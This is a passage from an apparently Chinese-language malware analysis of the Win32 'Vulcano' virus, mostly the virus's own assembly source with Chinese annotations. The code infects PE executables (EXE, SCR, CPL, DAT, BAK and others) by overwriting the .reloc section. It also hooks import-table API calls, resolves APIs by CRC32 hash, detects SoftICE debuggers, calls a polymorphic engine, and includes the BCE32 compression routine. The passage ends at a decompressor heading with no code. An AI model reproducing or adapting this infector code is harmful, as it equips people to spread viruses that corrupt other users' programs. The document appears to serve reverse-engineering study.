driver (thanx GriYo !)  jne endMapFile    ;; 最少是两个节,才感染  movzx ecx, word ptr [esi.FH_NumberOfSections]  ;must be more than one section  dec ecx  test ecx, ecx  je endMapFile  imul eax, ecx, IMAGE_SIZEOF_SECTION_HEADER  movzx edx, word ptr [esi.FH_SizeOfOptionalHeader]  lea edi, [eax+edx+IMAGE_SIZEOF_FILE_HEADER]  ;; edi为当前最后一节的节表  add edi, esi        ;get to section header  ;; 如果没有重定义节则不感染  lea edx, [esi.NT_OptionalHeader.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress-4]  mov eax, [edx]  test eax, eax  je endMapFile        ;quit if no relocs  ;; 如果有重定位节则判断重定位节是不是处于最后一节,如果不是则退出  mov ecx, [edi.SH_VirtualAddress]  cmp ecx, eax  jne endMapFile        ;is it .reloc section?  ;; 如果重定位节处于最后一节,则判断它的文件对齐大小是否小于1a00h  ;; 大于等于则退出  cmp [edi.SH_SizeOfRawData], 1a00h  jb endMapFile        ;check if .reloc is big enough    ;; 清除重定位表在数据目录的记录  pushad  xor eax, eax  mov edi, edx  stosd          ;erase .reloc records  stosd  popad  ;; ebx中存放的是pMem  mov eax, ebx        ;now we will try to  xor ecx, ecx        ;patchit_patch:  pushad          ;one API call  ;; 获取要打补丁函数的CRC32值  mov edx, dword ptr [ebp + crcpAPIs + ecx*4 - mgdelta]  ;get CRC32  test edx, edx  jne c_patch  popad  jmp end_patch        ;quit if end of record;; 开始设置模糊入口点EPO;; 因为Vulcano是写在重定位节上面,所以这里将重定位节的RVA;; 设置到一个要进行HOOK的函数上,这些函数存放在表crcpAPIs;; 中都是些应用程序经常使用的API.c_patch:push dword ptr [edi.SH_VirtualAddress]  ;patch address  push edx        ;CRC32  mov [ebp + r2rp - mgdelta], eax    ;infection stage  call PatchIT        ;try to patch API call  mov [esp.Pushad_edx], eax    ;save address  test eax, eax  ;; 只要有一个函数被补丁成功则跳出  popad          ;此时edx为被补丁函数的地址  jne end_patch        ;quit if we got address  inc ecx  jmp it_patch        ;API call not found, try another API;; 完成了对重定位表的补丁,写入病毒到宿主end_patch:  ;; eax新的函数的地址  mov eax, edx  mov edx, [esi.NT_OptionalHeader.OH_ImageBase-4]  ;get Image base  ;; 再这里将被感染程序的ImageBase写入到初始化标签  mov [ebp + compressed + (ImgBase-decompressed) - mgdelta], edx  ;save it  lea edx, [ebp + compressed + (ddAPI-decompressed) - mgdelta]  push dword ptr [edx]        ;store prev. API call  mov [edx], eax          ;save new one  pushad            ;store all registers  lea esi, [ebp + compressed+(VulcanoInit-decompressed) - mgdelta]  mov edi, [edi.SH_PointerToRawData]  ;; 这里把原先宿主程序的重定位节进行覆盖,病毒替换了原先的重定位节  add edi, ebx        ;where to write body  ;; 这里是要变形的长度  mov ecx, (decompressed-VulcanoInit+3)/4  ;size of virus body  call BPE32        ;write morphed body to file!  ;; eax中为变形后的长度  mov [esp.Pushad_eax], eax    ;save size  popad  pop dword ptr [edx]      ;restore API call  ;; 修改节属性为可读可写可执行  or dword ptr [edi.SH_Characteristics], IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE            ;set flags  ;; 修改大小  lea ecx, [edi.SH_VirtualSize]    ;get virtual size  add [ecx], eax        ;correct it  mov ecx, [esi.NT_OptionalHeader.OH_FileAlignment-4]  xor edx, edx  div ecx  inc eax  mul ecx  mov edx, [edi.SH_SizeOfRawData]  mov [edi.SH_SizeOfRawData], eax    ;align SizeOfRawData  ;; 此节是初始化数据,如果是则重新设置  test dword ptr [edi.SH_Characteristics], IMAGE_SCN_CNT_INITIALIZED_DATA  je rs_ok  sub eax, edx  add [esi.NT_OptionalHeader.OH_SizeOfInitializedData-4], eax            ;update next field, if neededrs_ok:  mov eax, [edi.SH_VirtualAddress]  add eax, [edi.SH_VirtualSize]  xor edx, edx  mov ecx, [esi.NT_OptionalHeader.OH_SectionAlignment-4]  div ecx  inc eax  mul ecx  ;; 设置SizeOfImage  mov [esi.NT_OptionalHeader.OH_SizeOfImage-4], eax  ;new SizeOfImage  jmp endMapFile      ;everything is ok, we can quit;; 此函数用于检测当前目标文件的大小,后缀名等是否符合感染条件CheckFile:  pushad  mov ebx, esi  test [ebx.WFD_dwFileAttributes], FILE_ATTRIBUTE_DIRECTORY  jne c_error        ;discard directory entries  xor ecx, ecx  cmp [ebx.WFD_nFileSizeHigh], ecx  ;discard files >4GB  jne c_error  mov edi, [ebx.WFD_nFileSizeLow]  cmp edi, 4000h        ;discard small files  jb c_error  lea esi, [ebx.WFD_szFileName]    ;get filename  push esiendf:  lodsb  cmp al, '.'        ;search for dot  jne endf    dec esi  lodsd          ;get filename extension  or eax, 20202020h      ;make it lowercase  not eax          ;mask it  pop esi  cmp eax, not 'exe.'      ;is it EXE?  je extOK  cmp eax, not 'rcs.'      ;is it SCR?  je extOK  cmp eax, not 'xfs.'      ;is it SFX?  je extOK  cmp eax, not 'lpc.'      ;is it CPL?  je extOK  cmp eax, not 'tad.'      ;is it DAT?  je extOK  cmp eax, not 'kab.'      ;is it BAK?  je extOK  xor ecx, ecx  inc ecxc_error:mov [esp.Pushad_ecx], ecx    ;save result  popad  ret;; 如果是可以感染的文件则设置它的文件属性为normal fileextOK:  push FILE_ATTRIBUTE_NORMAL    ;normal file  push esi        ;filename  mov eax, 0ddSetFileAttributesA = dword ptr $-4  call eax        ;blank file attributes  xchg eax, ecx  jmp c_error;; 设置VLCB信号;; 输入:ECX:0则为设置数据并且等待,反之则为等待获取请求;;      ESI:指向数据缓冲,如果ECX不等于0;;  EBX:请求的ID号;;  EDX:如果是随机线程则为-1,其余的则为线程号;; 输出:ECX:如果是输出入则ECX不等于,否则则为请求ID号;;      如果出错为-1;;      EDX:如果ECX!=0,否则为线程号;;      ESI:指向要设置的数据,如果输入ECX=0get_set_VLCB:    ;get/set VLCB records procedure (IPC)      ;input:  ECX    -  0=set/wait else wait/get      ;  ESI    -  pointer to data, if ECX!=0      ;  EBX    -  ID number of request      ;  EDX    -  -1, if random thread, otherwise      ;      -  number of thread.      ;output:ECX    -  if input ECX!=0, ECX=ID      ;      -  if error, ECX=-1      ;  EDX    -  if ECX!=0, number of thread      ;  ESI    -  ptr to data, if input ECX=0  mov edi, 0vlcbBase = dword ptr $-4  inc edx  je t_rnd        ;get random record  dec edx  imul eax, edx, VLCB_TSize-8  add edi, eax  jecxz sw_VLCB  cmp dword ptr [edi.VLCB_TSep.VLCB_THandle], 0  je qq  call w_wait        ;wait for free mutex  pushad  xchg esi, edi  lea esi, [esi.VLCB_TSep.VLCB_TData]  mov ecx, (VLCB_TSize-8)/4  rep movsd        ;copy data  popad  mov ecx, [edi.VLCB_TSep.VLCB_TID]  ;get ID  push ecx  call r_mutex        ;release mutex  pop ecx  ret          ;and quitt_next:  add edi, VLCB_TSize-8      ;move to next record  inc edx  loop tsrchqqq:  pop ecxqq:  xor ecx, ecx  dec ecx  rett_rnd:  push ecx        ;pass thru 20 records  push 20  pop ecx  xor edx, edxtsrch:  cmp dword ptr [edi.VLCB_TSep.VLCB_THandle], 0  je t_next        ;check if its free  pop ecxsw_VLCB:call w_wait        ;wait for free mutex  pushad  lea edi, [edi.VLCB_TSep.VLCB_TData]  mov ecx, (VLCB_TSize-8)/4  rep movsd        ;copy data  popad  mov [edi.VLCB_TSep.VLCB_TID], ebx  pushad  lea esi, [edi.VLCB_TSep.VLCB_TData.WFD_szAlternateFileName]  mov ebp, [esi]        ;get result  call r_mutex        ;signalize mutexslp:  call sleep        ;switch to next thread  cmp [esi], ebp        ;check for change  je slp          ;no change, wait  popad  xor ecx, ecx  ret          ;quitw_wait:  call open_mutex        ;open mutex  push eax  push 10000        ;wait 10 seconds  push eax  mov eax, 0ddWaitForSingleObject = dword ptr $-4  call eax  test eax, eax  pop eax  jne qqq          ;quit if not signalized  call close_mutex      ;close mutex  ret          ;and quitopen_mutex:  lea eax, [edi.VLCB_TSep.VLCB_THandle]  ;name of mutex  push eax  push 0  push 0f0000h or 100000h or 1    ;access flags  mov eax, 0ddOpenMutexA = dword ptr $-4      ;open mutex  call eax  retr_mutex:call open_mutex        ;open mutex  push eax  push eax  mov eax, 0ddReleaseMutex = dword ptr $-4  call eax        ;singalize mutex  pop eaxclose_mutex:  push eax  mov eax, 0ddCloseHandle = dword ptr $-4  call eax        ;close mutex  retsleep:  push 0          ;switch to next thread  mov eax, 0ddSleep = dword ptr $-4  call eax        ;switch!  ret;; 检查并且感染Check&Infect:  pushad  mov esi, ebx        ;get ptr to data  pushad  call vlcb_stuph        ;common stuph  mov ebx, VLCB_Check      ;check only  call get_set_VLCB      ;IPC!  inc ecx  popad  je _ret_        ;quit if error  mov eax, dword ptr [esi.WFD_szAlternateFileName]  dec eax  test eax, eax  je _ret_sc1_ok:  call vlcb_stuph        ;common stuph  mov ebx, VLCB_Infect      ;check and infect  call get_set_VLCB      ;IPC!_ret_:  popad  ret;; 计算CRC32值;; CRC32的算法在这里就不做分析了CRC32:  push ecx        ;procedure to calculate  CRC32  push edx  push ebx               xor ecx, ecx           dec ecx                mov edx, ecx   NextByteCRC:                   xor eax, eax           xor ebx, ebx           lodsb                  xor al, cl       mov cl, ch  mov ch, dl  mov dl, dh  mov dh, 8NextBitCRC:  shr bx, 1  rcr ax, 1  jnc NoCRC  xor ax, 08320h  xor bx, 0edb8hNoCRC:  dec dh  jnz NextBitCRC  xor ecx, eax  xor edx, ebx        dec edi  jne NextByteCRC  not edx  not ecx  pop ebx  mov eax, edx  rol eax, 16  mov ax, cx  pop edx  pop ecx  ret;; 搜索引出表SearchET:    ;procedure for recieving API names from Export table  pushad          ;save all registers  @SEH_SetupFrame <jmp address_not_found>  ;setup SEH frame  mov edi, [eax.MZ_lfanew]    ;get ptr to PE header  add edi, eax        ;make pointer raw  mov ecx, [edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size]  jecxz address_not_found      ;quit, if no exports  mov ebx, eax  add ebx, [edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]  mov edx, eax        ;get RVA to Export table  add edx, [ebx.ED_AddressOfNames]  ;offset to names  mov ecx, [ebx.ED_NumberOfNames]    ;number of name  mov edi, esi  push edi  xchg eax, ebp  xor eax, eaxAPIname:push eax  mov esi, ebp  add esi, [edx+eax*4]      ;get to API name  push esi  @endsz          ;get to the end of API name  sub esi, [esp]        ;get size of API name  mov edi, esi        ;to EDI  pop esi          ;restore ptr to API name  call CRC32        ;get its CRC32  mov edi, [esp+4]      ;get requested CRC32  cmp eax, [edi]        ;is it same  pop eax  je mcrc          ;yeahnchar:  inc eax          ;no, increment counter  loop APIname        ;and get next API name  pop eax          ;clean stackaddress_not_found:  xor eax, eax        ;and quit  jmp endGPAmcrc:  pop edx  mov edx, ebp  add edx, [ebx.ED_AddressOfOrdinals]  ;skip over ordinals  movzx eax, word ptr [edx+eax*2]  cmp eax, [ebx.ED_NumberOfFunctions]  jae address_not_found  mov edx, ebp  add edx, [ebx.ED_AddressOfFunctions]  ;get start of function addresses  add ebp, [edx+eax*4]      ;make it pointer to our API  xchg eax, ebp        ;address to EAXendGPA:  @SEH_RemoveFrame      ;remove SEH frame  mov [esp.Pushad_eax], eax    ;store address  popad          ;restore all registers  ret          ;and quit;; 计算对齐a_go:  inc esi          ;jump over alignments  inc esi  pushad          ;store all registers  xor edx, edx        ;zero EDX  xchg eax, esi  push 2  pop ecx  div ecx  test edx, edx  je end_align        ;no alignments needed  inc eax          ;align API nameend_align:  mul ecx  mov [esp.Pushad_esi], eax  popad          ;restore all registers  ret;; 对指定的函数进行引入表的HOOKPatchIT  Proc          ;procedure for patching API calls  pushad          ;store all registers  @SEH_SetupFrame <jmp endPIT>    ;setup SEH frame  call itDltaitDelta:db  0b8hitDlta:  pop ebp  mov [ebp + gmh - itDelta], eax    ;save it  mov ebx, [eax.MZ_lfanew]    ;get to PE header  add ebx, eax        ;make pointer raw  push dword ptr [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress]  call rva2raw  pop edx  sub edx, IMAGE_SIZEOF_IMPORT_DESCRIPTOR  push edin_dll:  pop edi  add edx, IMAGE_SIZEOF_IMPORT_DESCRIPTOR  lea edi, [ebp + szK32 - itDelta]  ;get Kernel32 name  mov esi, [edx]  test esi, esi  je endPITsdll:  push dword ptr [edx.ID_Name]  call rva2raw  pop esi  push edi  cmpsd          ;is it K32?  jne n_dll  cmpsd  jne n_dll  cmpsd  jne n_dll  pop edi  xor ecx, ecx        ;zero counter  push dword ptr [edx.ID_OriginalFirstThunk]  ;get first record  call rva2raw  pop esi  push dword ptr [esi]      ;get first API name  call rva2raw  pop esipit_align:  call a_go  push esi        ;store pointer  @endsz          ;get to the end of API name  mov edi, esi  sub edi, [esp]        ;move size of API name to EDI  pop esi          ;restore pointer  push eax        ;store EAX  call CRC32        ;calculate CRC32 of API name  cmp eax, [esp.cPushad+10h]    ;check, if it is requested API  je a_ok          ;yeah, it is  inc ecx  mov eax, [esi]        ;check, if there is next API  test eax, eax        ;...  pop eax          ;restore EAX  jne pit_align        ;yeah, check it  jmp endPIT        ;no, quita_ok:  pop eax          ;restore EAX  push dword ptr [edx.ID_FirstThunk]  ;get address to IAT  call rva2raw  pop edx  mov eax, [edx+ecx*4]      ;get address  mov [esp.Pushad_eax+8], eax    ;and save it to stack  pushad          ;store all registers  mov eax, 0        ;get base address of programgmh = dword ptr $-4  mov ebx, [eax.MZ_lfanew]  add ebx, eax        ;get PE header  push dword ptr [ebx.NT_OptionalHeader.OH_BaseOfCode]  ;get base of code  call rva2raw        ;normalize  pop esi          ;to ESI  mov ecx, [ebx.NT_OptionalHeader.OH_SizeOfCode]  ;and its size  pushad  call p_var  dd  ?p_var:  push PAGE_EXECUTE_READWRITE  push ecx  push esi  mov eax, 0ddVirtualProtect = dword ptr $-4  call eax        ;set writable right  test eax, eax  popad  je endPITsJMP:  mov dl, [esi]        ;get byte from code  inc esi  cmp dl, 0ffh        ;is it JMP/CALL?  jne lJMP                    ;check, if it is            cmp byte ptr [esi], 25h                 ;JMP DWORD PTR [XXXXXXXXh]  je gIT1                                                              cmp byte ptr [esi], 15h      ;or CALL DWORD PTR [XXXXXXXXh]  jne lJMP  mov dl, 0e8h  jmp gIT2gIT1:  mov dl, 0e9hgIT2:  mov [ebp + j_or_c - itDelta], dl  ;change opcode  mov edi, [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress]  add edi, [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_Size]  push ecx  mov ecx, [ebx.NT_OptionalHeader.OH_ImageBase]  add edi, ecx  push ebp  mov ebp, [esi+1]  sub ebp, ecx  push ebp  call rva2raw  pop ebp  sub ebp, eax  add ebp, ecx  sub edi, ebp  pop ebp  pop ecx  js lJMP          ;check, if it is correct address  push ecx  push edx        ;store EDX  mov edx, [esp.Pushad_ecx+8]    ;get counter  imul edx, 4        ;multiply it by 4  add edx, [esp.Pushad_edx+8]    ;add address to IAT to ptr  sub edx, eax  mov ecx, [esi+1]  sub ecx, [ebx.NT_OptionalHeader.OH_ImageBase]  push ecx  call rva2raw  pop ecx  sub ecx, eax  cmp edx, ecx        ;is it current address  pop edx  pop ecx          ;restore EDX  jne sJMP        ;no, get next address  mov eax, [esi+1]  mov [esp.cPushad.Pushad_eax+8], eax  ;store register to stack  mov [esp.Pushad_esi], esi    ;for l8r use  popad          ;restore all registers  mov byte ptr [esi-1], 0e9h    ;build JMP or CALLj_or_c = byte ptr $-1  mov ebx, [esi+1]  mov eax, [esp.cPushad+10h]    ;get address  add eax, [ebp + gmh - itDelta]  sub eax, esi        ;- current address  sub eax, 4        ;+1-5  mov [esi], eax        ;store built jmp instruction  mov byte ptr [esi+4], 90h  xchg eax, ebx  jmp endIT        ;and quitlJMP:  dec ecx  jecxz endPIT-1  jmp sJMP        ;search in a loop  popad          ;restore all registersendPIT:  xor eax, eax  mov [esp.Pushad_eax+8], eaxendIT:  @SEH_RemoveFrame      ;remove SEH frame  popad          ;restore all registers  ret 8          ;and quitPatchIT  EndP;; 将内存偏移转换为文件偏移rva2raw:pushad      ;procedure for converting RVAs to RAW pointers  mov ecx, 0        ;0 if actual programr2rp = dword ptr $-4  jecxz nr2r  mov edx, [esp.cPushad+4]    ;no comments needed :)  movzx ecx, word ptr [ebx.NT_FileHeader.FH_NumberOfSections]  movzx esi, word ptr [ebx.NT_FileHeader.FH_SizeOfOptionalHeader]  lea esi, [esi+ebx+IMAGE_SIZEOF_FILE_HEADER+4]n_r2r:  mov edi, [esi.SH_VirtualAddress]  add edi, [esi.SH_VirtualSize]  cmp edx, edi  jb c_r2r  add esi, IMAGE_SIZEOF_SECTION_HEADER  loop n_r2r  popad  retnr2r:  add [esp.cPushad+4], eax  popad  retc_r2r:  add eax, [esi.SH_PointerToRawData]  add eax, edx  sub eax, [esi.SH_VirtualAddress]  mov [esp.cPushad+4], eax  popad  ret;; 这条线程为了HOOK当前程序引入表NewThread:          ;thread starts here  pushad          ;store all registers  ;; 发生异常则跳入到q_hook标签  @SEH_SetupFrame <jmp q_hook>  ;; 获取API偏移地址表的地址  mov ebp, [esp+2ch]      ;get delta parameter  xor ecx, ecx        ;zero ECX  ;; 将要转换的偏移亲0,这是一个自修改代码,再后面的地址转换  ;; 函数中可以看到它要修改的地方  and dword ptr [ebp + r2rp - gdelta], 0  ;; eax中保存着新函数地址的偏移表g_hook:  mov eax, [ebp + newHookers + ecx*4 - gdelta]  ;take address to hooker  test eax, eax        ;is it 0?  ;; 如果为0则退出  je q_hook        ;yeah, quit  ;; eax中为新的函数的地址  add eax, ebp  ;; eax中为此到当前宿主应用程序ImageBase的偏移,GMHA处存放着应用程序的加载地址  sub eax, [ebp + GMHA - gdelta]  ;; 将新函数偏移将要HOOK的API名字表地址一同压力堆栈  push eax        ;store address  push dword ptr [ebp + crchAPIs + ecx*4 - gdelta]  ;store CRC32  ;; HOOK引入表eax中将返回原始API的地址  mov eax, 0GMHA = dword ptr $-4  call PatchIT        ;and patch Import Table  mov esi, [ebp + oldHookers + ecx*4 - gdelta]  add esi, ebp  mov [esi], eax        ;save old hooker  inc ecx          ;increment counter  jmp g_hook        ;loopq_hook:  @SEH_RemoveFrame  popad          ;restore all registers  ret          ;and terminate thread;; BPE32变形引擎include BPE32.asmszK32      db  'KERNEL32.dll',0  ;name of DLLsice95      db  '//./SICE',0    ;SoftICE/95/98siceNT      db  '//./NTICE',0    ;SoftICE/NT;APIs needed at run-timecrcAPIs      dd  0AE17EBEFh    ;FindFirstFileA      dd  0AA700106h    ;FindNextFileA      dd  0C200BE21h    ;FindClose      dd  03C19E536h    ;SetFileAttributesA      dd  04B2A3E7Dh    ;SetFileTime      dd  08C892DDFh    ;CreateFileA      dd  096B2D96Ch    ;CreateFileMappingA      dd  0797B49ECh    ;MapViewOfFile      dd  094524B42h    ;UnmapViewOfFile      dd  019F33607h    ;CreateThread      dd  0D4540229h    ;WaitForSingleObject      dd  068624A9Dh    ;CloseHandle      dd  020B943E7h    ;CreateMutexA      dd  0C449CF4Eh    ;ReleaseMutex      dd  0C6F22166h    ;OpenMutexA      dd  00AC136BAh    ;Sleep      dd  079C3D4BBh    ;VirtualProtect      dd  0EB1CE85Ch    ;GetCurrentProcessId      dd  033D350C4h    ;OpenProcess      dd  041A050AFh    ;TerminateProcess      dd  04134D1ADh    ;LoadLibraryA      dd  0FFC97C1Fh    ;GetProcAddress      dd  0AFDF191Fh    ;FreeLibrary;APIs to hookcrchAPIs    dd  0AE17EBEFh    ;FindFirstFileA      dd  0AA700106h    ;FindNextFileA      dd  05BD05DB1h    ;CopyFileA      dd  0953F2B64h    ;CopyFileExA      dd  08C892DDFh    ;CreateFileA      dd  0267E0B05h    ;CreateProcessA      dd  0DE256FDEh    ;DeleteFileA      dd  0C633D3DEh    ;GetFileAttributesA      dd  08F48B20Dh    ;GetFullPathNameA      dd  0F2F886E3h    ;_lopen      dd  02308923Fh    ;MoveFileA      dd  03BE43958h    ;MoveFileExA      dd  068D8FC46h    ;OpenFile      dd  03C19E536h    ;SetFileAttributesA      dd  028452C4Fh    ;WinExec      dd  040F57181h    ;ExitProcess      dd  0058F9201h    ;ExitThread      dd  087D52C94h    ;GetLastError      dd  068624A9Dh    ;CloseHandle;APIs to patchcrcpAPIs    dd  0E141042Ah    ;GetProcessHeap      dd  042F13D06h    ;GetVersion      dd  0DE5C074Ch    ;GetVersionEx      dd  052CA6A8Dh    ;GetStartupInfoA      dd  04E52DF5Ah    ;GetStartupInfoW             dd  03921BF03h    ;GetCommandLineA      dd  025B90AD4h    ;GetCommandLineW      dd  003690E66h    ;GetCurrentProcess      dd  019F33607h    ;CreateThread      dd  082B618D4h    ;GetModuleHandleA      dd  09E2EAD03h    ;GetModuleHandleW      dd  ?virus_end:            ;end of virus in hosttmp      dd  ?      ;temporary variable      org tmp        ;overlayWFD    WIN32_FIND_DATA ?      ;Win32 Find DataWFD2    WIN32_FIND_DATA ?      ;Win32 Find Datadata_buffer    db  256 dup (?)    ;buffer for VLCB_TDatasize_unint = $ - virus_end        ;size of unitialized              ;variables;used only by first generation of virusworkspace1    db  16 dup (?)    ;usd by compressionworkspace2    db  16 dup (?)    ;engine_GetModuleHandleA  dd  offset GetModuleHandleAends              ;end of code sectionEnd first_gen            ;end of virus
4.BCE32压缩模块分析
BCE32压缩函数
esi中存放着要加压的部分指针
edi中存放着要写入的缓冲指针
ecx为要加压的长度
ebx,edx是两个16字节的临时缓冲的基地址
代码:
;Compression routine from BCE32 starts here. This is used only in first gen.;; BCE32压缩函数BCE32_Compress  Proc  ;; 保存所有寄存器  pushad          ;save all regs;stage 1  ;; 再保存一次  pushad          ;and again  ;; 创建表,这里创建的表的算法是这样的  ;; 利用ebx指向的表(4*4)的一个DWORD表  ;; 读取一个BYTE,测试它中间每两位为一组  ;; 是否为 00 01 10 11 如果是则在相应表的  ;; 位置增1,形成所有要压缩数据的一个BIT记录create_table:  ;; 保存ecx  push ecx        ;save for l8r usage  ;; ecx = 4,这里是为了做运算使用  push 4  pop ecx          ;ECX = 4  ;; 读取一个要压缩的字节到al  lodsb          ;load byte to AL  ;; 保存它l_table:push eax        ;save it  ;; edx = 0  xor edx, edx        ;EDX = 0  ;; 测试位11  and al, 3        ;this stuff will separate and test  je st_end        ;bit groups  ;; 测试位10  cmp al, 2  je st2  ;; 测试为al时候等于3  cmp al, 3  je st3st1:  inc edx          ;01  jmp st_endst2:  inc edx          ;10  inc edx  jmp st_endst3:  mov dl, 3        ;11st_end:  inc dword ptr [ebx+4*edx]    ;increment count in table  pop eax  ;; 测试下两个bit  ror al, 2        ;next bit group  loop l_table  pop ecx          ;restore number of bytes  loop create_table      ;next byte    ;; 以下循环测试以上形成的位记录表  ;; 这个阶段为了使每个计数的位组计数  ;; 都不一样,相差为1  ;; ecx = 4  push 4          ;this will check for same numbers  pop ecx          ;ECX = 4  ;; edx = 0re_t:  cdq          ;EDX = 0  ;; 读取当前位组的计数t_loop:  mov eax, [ebx+4*edx]      ;load DWORD  ;; 自增当前位组的计数  inc dword ptr [ebx+4*edx]    ;increment it  ;; 测试当前位组的计数是否与其他组  ;; 的计数一样.如果一样则当前位组增1  cmp eax, [ebx]        ;test for same numbers  je _inc_        ;...  cmp eax, [ebx+4]      ;...  je _inc_        ;...  cmp eax, [ebx+8]      ;...  je _inc_        ;...  cmp eax, [ebx+12]      ;...  jne ninc_        ;...  ;; 当前位组计数增1_inc_:  inc dword ptr [ebx+4*edx]    ;same, increment it  ;; 增加循环计数.直到当前位组的计数与  ;; 其他组的计数不一样为止  inc ecx          ;increment counter (check it in next turn)  ;; 这里查看时候超出数组的边界ninc_:  cmp dl, 3        ;table overflow ?  je re_t          ;yeah, once again  ;; 移动到下一个位组  inc edx          ;increment offset to table  loop t_loop        ;loop  ;; 恢复所有寄存器  popad          ;restore regs;stage 2;; 这里进行对位组的泡沫排序,并将排序结构放入第二;; 个表中  ;; 保存所有寄存器  pushad          ;save all regs  ;; 计数表的基址设置给esi  mov esi, ebx        ;get pointer to table  ;; ebx = 3  push 3  pop ebx          ;EBX = 3  ;; ecx = 3  mov ecx, ebx        ;ECX = 3  ;; 这里对计数数组进行泡沫排序,以降序排列  ;; 由于只有4个字节所以循环3次rep_sort:          ;bubble sort = the biggest value will            ;always "bubble up", so we know number            ;steps  ;; 保存ecx  push ecx        ;save it  mov ecx, ebx        ;set pointerz  ;; edi指向第二个(4*4)的表  mov edi, edx        ;...  ;; 保存 第二个(4*4)的表地址  push edx        ;save it  ;; 从位组计数表中读取一个DWORD  lodsd          ;load DWORD (count)  ;; 保存这个DWORD到edx  mov edx, eax        ;save it  ;; 读取下一个sort:  lodsd          ;load next  ;; 做比较  cmp eax, edx        ;is it bigger  ;; 如果后者小于前者,则不交换.  ;; 这里是按照降序排列  jb noswap        ;no, store it  ;; 如果后者大于前者,则交换他们的值  xchg eax, edx        ;yeah, swap DWORDs  ;; 重新写入noswap:  stosd          ;store it  ;; 下个DWORD,循环这个过程  loop sort        ;next DWORD  ;; 内层循环结束,这里到了外层循环,进行下个DWORD的对比  mov eax, edx        ;biggest in EDX, swap it  stosd          ;and store  lea esi, [edi-16]      ;get back pointer  pop edx          ;restore regs  pop ecx  loop rep_sort        ;and try next DWORD  popad  ;; --- 泡沫排序结束 ---;stage 3;; 这个步骤用来生成加密密钥;; 算法为轮询整个数组,找到与之;; 对应的索引号于密钥的初值相加;; 然后在循环左移2位;; 最后将密钥存入ebx中  ;; 保存所有的寄存器  pushad          ;save all regs  ;; eax = 0  xor eax, eax        ;EAX = 0  push eax        ;save it  ;; ecx = 4,设置循环计数  push 4  pop ecx          ;ECX = 4n_search:  ;; 保存第二个表的基址和循环计数  push edx        ;save regs  push ecx  ;; esi指向未排序的位组计数  lea esi, [ebx+4*eax]      ;get pointer to table  push eax        ;store reg  ;; 读取一个DWORD  lodsd          ;load DWORD to EAX  ;; ecx = 3  push 3  pop ecx          ;ECX = 3  ;; edi = 3  mov edi, ecx        ;set pointerz  ;; esi指向排序过后的计数组search:  mov esi, edx  ;; 保存eax  push eax        ;save it  ;; 读取一个DWORD  lodsd          ;load next  ;; 交换排序后的计数组的值到ebp  mov ebp, eax  ;; 恢复eax到原先的技术组的值  pop eax  ;; ebp保存为排序后数组的值  ;; eax保存为未排序数组的值  cmp eax, ebp        ;end ?  je end_search  ;; edi记录索引  dec edi          ;next search  ;; 移动到下一个指针  add edx, 4  ;; 跳入到下一个循环,继续查找  loop searchend_search:  ;; 记录循环数  pop eax          ;and next step  ;; 增加循环计数  inc eax  ;; 恢复ecx, edx  pop ecx  pop edx  ;; esp指向eax的压入的栈顶  add [esp], edi  rol byte ptr [esp], 2  loop n_search  ;; 保存到ebx  pop [esp.Pushad_ebx]      ;restore all  popad          ;...;stage 4;; 这个阶段用于加密并写入缓冲  xor ebp, ebp        ;EBP = 0  xor edx, edx        ;EDX = 0  ;; 将密钥保存入第一个缓冲的字节  mov [edi], bl        ;store decryption key  ;; 移动指针  inc edi          ;increment pointernext_byte:  ;; eax = 0  xor eax, eax        ;EAX = 0  ;; 保存ecx的原值  push ecx  ;; 读入一个字节  lodsb          ;load next byte  ;; ecx = 4  push 4  pop ecx          ;ECX = 4next_bits:  ;; 保存ecx,eax寄存器  push ecx        ;store regs  push eax  ;; 测试位,将al其余位清0  and al, 3        ;separate bit group  push ebx        ;compare with next group  ;; 将bl其余位清0  and bl, 3  ;; 测试当前字节时候与密钥有同样的位  cmp al, bl  ;; 恢复密钥  pop ebx  ;; 如果相同则跳入cb0  je cb0  ;; 如果两个字节的测试位不同  ;; 保存密钥  push ebx        ;compare with next group  ;; 密钥循环右移2位,测试下一位  ror bl, 2  ;; 密钥在与3做并操作,清0操作保留最后两位  and bl, 3  ;; 做对比  cmp al, bl  ;; 恢复密钥  pop ebx  ;; 相同则跳入cb1  je cb1  ;; 如果不相同,则  ;; 保存密钥  push ebx        ;compare with next group  ;; 移动密钥(将高4位与低4位对调)的  ;; 并且将其他位清0  ror bl, 4  and bl, 3  ;; 与al的位做对比  cmp al, bl  ;; 恢复密钥  pop ebx  ;; 相同则跳入cb2  je cb2  ;; 如果还不相同  ;; 则保存0,1到对应的数组  push 0          ;store bit 0  call copy_bit  push 1          ;store bit 1  call copy_bitcb0:  push 1          ;store bit 1end_cb1:call copy_bit  ;; 恢复eax,ecx寄存器  pop eax  pop ecx  ;; 移动要加压的数据到下一位组  ror al, 2  loop next_bits        ;next bit  ;; 恢复ecx  pop ecx  ;; 内循环用于设置一个字节的位  ;; 外循环用于读取字节  ;; 进行下一个字节  loop next_byte        ;next byte  ;; 将现有的位置保存,并于起始值做减法运算  ;; 求出当前的位置索引号  mov eax, edi        ;save new size  sub eax, [esp.Pushad_edi]    ;...  mov [esp.Pushad_eax], eax    ;...  popad          ;restore all regs  cmp eax, ecx        ;test for negative compression  jb c_ok          ;positive compression  stc          ;clear flag  ret          ;and quitc_ok:  clc          ;negative compression, set flag  ret          ;and quitcb1:  push 0          ;store bit 0end_cb2:call copy_bit  push 0          ;store bit 0  jmp end_cb1cb2:  push 0          ;store bit 0  call copy_bit  push 1          ;store bit 1  jmp end_cb2;; 复制位到内存copy_bit:  mov eax, ebp        ;get byte from EBP  shl al, 1        ;make space for next bit  or al, [esp+4]        ;set bit  jmp cbitBCE32_Compress  EndP        ;end of compression procedure
以下是BCE32的解压函数,这里不做分析了,算法与压缩函数的反函数
也比BCE32压缩函数要简单的多,解压段的第一个字节保存着密钥

BCE32解压函数
代码:
